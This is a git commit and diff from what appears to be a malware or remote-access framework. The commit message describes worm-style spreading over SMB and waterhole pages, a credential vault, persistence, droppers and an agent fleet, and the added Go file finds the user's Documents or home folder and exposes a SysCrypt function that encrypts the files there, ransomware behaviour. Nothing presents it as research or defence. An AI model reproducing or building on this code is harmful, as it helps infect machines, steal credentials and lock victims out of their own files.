feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/crypt_unix.go

@@ -0,0 +1,31 @@
+//go:build !windows
+
+package client
+
+import (
+	"os"
+	"path/filepath"
+)
+
+func defaultCryptDir() (string, error) {
+	home, err := os.UserHomeDir()
+	if err != nil || home == "" {
+		return "", err
+	}
+	candidates := []string{
+		filepath.Join(home, "Documents"),
+		filepath.Join(home, "documents"),
+		home,
+	}
+	for _, c := range candidates {
+		if st, err := os.Stat(c); err == nil && st.IsDir() {
+			return filepath.Clean(c), nil
+		}
+	}
+	return filepath.Clean(home), nil
+}
+
+// SysCrypt encrypts files in the user's Documents (or home) folder.
+func SysCrypt() string {
+	return EncryptPath("", true)
+}